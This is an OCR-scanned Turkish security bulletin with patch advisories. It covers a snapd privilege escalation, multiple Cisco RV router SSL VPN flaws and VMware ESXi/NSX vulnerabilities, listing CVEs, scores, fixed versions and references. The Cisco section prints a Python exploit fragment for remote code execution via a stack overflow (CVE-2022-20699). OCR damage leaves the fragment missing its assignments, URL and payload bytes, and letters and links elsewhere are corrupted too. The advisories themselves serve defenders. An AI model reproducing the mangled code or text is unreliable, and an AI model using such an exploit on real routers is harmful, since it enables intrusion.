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Linux Snap Paket Yoneticisinde Hak Yiikseltme Zafiyeti

Zafiyet Genel Bilgi

Canonical firmasinin gelistirdigi bir yazilm paket dagitimi olan snap yazilim paketleme ve dagitim
sisteminde yUksek risk seviyesinde hak yukseltmeye yarayan bir glivenlik acidi yayimladi. Snap Linux
cekirdegini kullanan isletim sistemlerinde galismak Uzere tasarlanmis ve snapd adli araci kullanarak
kurulabilen bagimsiz bir uygulama paketidir.

CVE-2021-44731 cve kayd: ile kayit altina alinan zafiyet snapd aracinda kullanilan bir fonksiyondan
kaynaklanmis ve CVSS puanlama sisteminde 7.8 puan almistir. Zafiyet ile hicbir ayricaligi olmayan bir
kullanici zafiyeti kullanarak root (kok) ayricaliklari kazanmasina olanak tanimaktadir. Zafiyet uzaktan
sOmurilememektedir.

Firmanin bu zafiyete ek olarak tespit ettigi 6 zafiyet daha bulunmaktadir;
e CVE-2021-3995 (4.7 - ORTA)
e CVE-2021-3996 (5.5 - ORTA)
e CVE-2021-3997 (5.1 - ORTA)
e CVE-2021-3998 (5.9 - ORTA)

o« CVE-2021-3999 (6.1 - ORTA)
o CVE-2021-44730 (7.8 - YUKSEK)
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Guvenlik agigi 27 Ekim 2021'de ubuntu guivenlik ekibine bildirdi ve ardindan yamalar 17 Subat'ta yayimlandi.

Onerilen Giivenlik Onlemleri

e Snap paket yoneticisini 2.54.3 slrimune giincellemek.
o (https://github.com/snapcore/snapd/releases/tag/2.54.3)
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Referanslar

https://ubuntu.com/security/CVE-2021-3995
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3995
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3996
https://cve.mitre.org/cgi-bin/cvename.cgi?’name=CVE-2021-44731

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3997
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3998
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3999
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Cisco Modemlerde Coklu Zafiyetier
Zafiyet Genel Bilgi

Cisco kuguk isletme yoénlendiricilerde bulunan c¢oklu zafiyetler, saldirganlarin i¢ aglara kalici olarak
erisebilmesine ve root yetkisiyle yonlendiriciler tizerinde kod galistirabilmesine imkan vermektedir. S6z
konusu zafiyetlerden RV160, RV260, RV340 ve RV345 serisi yonlendiriciler etkilenmektedir. S6z konusu
zafiyetler cihazlarin SSL VPN modiillerinden kaynaklanmaktadir ve zafiyetlere iliskin POC ve sémuirl
kodlari hem internet hem de Metasploit moddlleri Gzerinden yayinlanmistir.

CVE-2022-20699 koduyla yayinlanan zafiyet, bir fonksiyonun HT TP isteklerinden gelen veriyi islemekteki
yetersizligi nedeniyle olusmakta, 6zel hazirlanmis paketlerin cihaza gonderilmesiyle bellek tasmasina
sebep olarak uzaktan kod calistiriimasina imkan vermektedir. Bellek tagirma gergeklestiginde yanlis hafiza
konfigUrasyonu ylziinden saldirgan, okuma/yazma/calistirma izinleri elde ederek stack Uzerine herhangi
bir kod yazip ¢alistirabilmektedir.

CiscoRV340 WAN model bir cihaz tizerinde aciklik asagidaki gibi bir kod parcacigiyla sémuirtlebilmektedir.

sys, socket, requests, time

shellcode b"'

TARGET sys.argv([1]

FILLER shellcod b' ! ( shellcode) ')
PC b’ \ 0

url 'htt /X

url X! TARGET )
EVAGEL] FILLER PC

TARGET

sock socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result sock. connect, ( | TARGET, )
result (" [*] SSLVPN o go!")

("[!] SSLVPND is down. eck co ation and try again"); sys.exit(-1)
sock.closel)

("[*] Attempt!"™)
r requests.post(url, data=payload, verif
requests.exceptions.Conn i
("[!] Service not available. S
time.sleep(10)

Onerilen Giivenlik Onlemleri

S6z konusu yonlendiricilerin en son stirlime giincellenmesi gerekmektedir.
Referanslar

https://nvd.nist.gov/vuln/detail/CVE-2022-20699
https://nvd.nist.gov/vuln/detail/CVE-2022-20700

https://nvd.nist.gov/vuln/detail/CVE-2022-20701
https://nvd.nist.gov/vuln/detail/CVE-2022-20702
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VMware Coklu Zafiyetleri
= Yeni Yama lle Kapandi

Muhammet KARAALI

Siber Guvenlik Muhendisi
Siber Guivenlik Direktorlugu
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VMware Coklu Zafiyetleri Yeni Yama ile Kapandi

Zafiyet Genel Bilgi

15 Subat 2022 Sali gint VMware firmasi ESXi, Workstation, Fusion, Cloud Foundation ve vSphere
drdnlerinde yuksek riskli zafiyetleri kapatmak Gzere yama yayinladi. Arastirmalar ile bu zafiyetlerin daha
once somUrildigu ile ilgili bir bulguya rastlanmadi.

Tespit edilen zafiyetler asagida listelenmistir;

« CVE-2021-22040 (8.4 - YUKSEK)
« CVE-2021-22041 (8.4 - YUKSEK)
« CVE-2021-22042 (8.2 - YUKSEK)
« CVE-2021-22043 (8.2 - YUKSEK)
« CVE-2021-22050 (5.3 - ORTA)

« CVE-2022-22945 (8.8 - YUKSEK)

Zafiyetler, sanal makinede yerel yonetici haklarina sahip bir aktorin, sanal makinenin ana bilgisayar
Uzerinde galisan VMX Uzerinde degisiklikler yapmasina vermektedir. Ayrica ayarlara erisimi olan saldirganin
dosyalar yazarak ayricalik ylkseltmesine imkan saglamaktadir. Ek olarak, CVE-2021-22050 kodu alan
zafiyet ile httpproxy servisini kullanarak servis digi birakma (DoS) saldiri imkani saglamaktadir. Son olarak,
CVE-2022-22945 kodu alan zafiyet ile NSX-Edge cihazina guvenli kabuk (SSH) erisimi ile, kdk (root)
kullanici olarak komutlar ¢alistirmasina imkan saglamaktadir.

Aciklarin 4 tanesinin gecen sene diizenlenen Tianfu Cup 2021 adli uluslararasi siber gtivenlik yarismasinda
kesfedildigi bilinmektedir.
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Onerilen Giivenlik Onlemleri

Bahsi gecen VMware uygulamalarini
VMware NSX Data Center for vSphere 6.4.13
VMware ESXi 7.0 Update 2d

(https://www.vmware.com/security/advisories/VMSA-2022-0004 .html)

Etkilenen Sistemler

WMware eski strtimleri kullanan kullanicilar

Referanslar

https://thehackernews.com/2022/02/vmware-issues-security-patches-for-high.html
https://nvd.nist.gov/vuln/detail/CVE-2021-22040
https://cve.mitre.org/cgi-bin/cvename.cgi?’name=2021-22041
https://nvd.nist.gov/vuln/detail/CVE-2021-22041
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22042
https://nvd.nist.gov/vuln/detail/ CVE-2021-22042
https://www.vmware.com/security/advisories/VMSA-2022-0004.html
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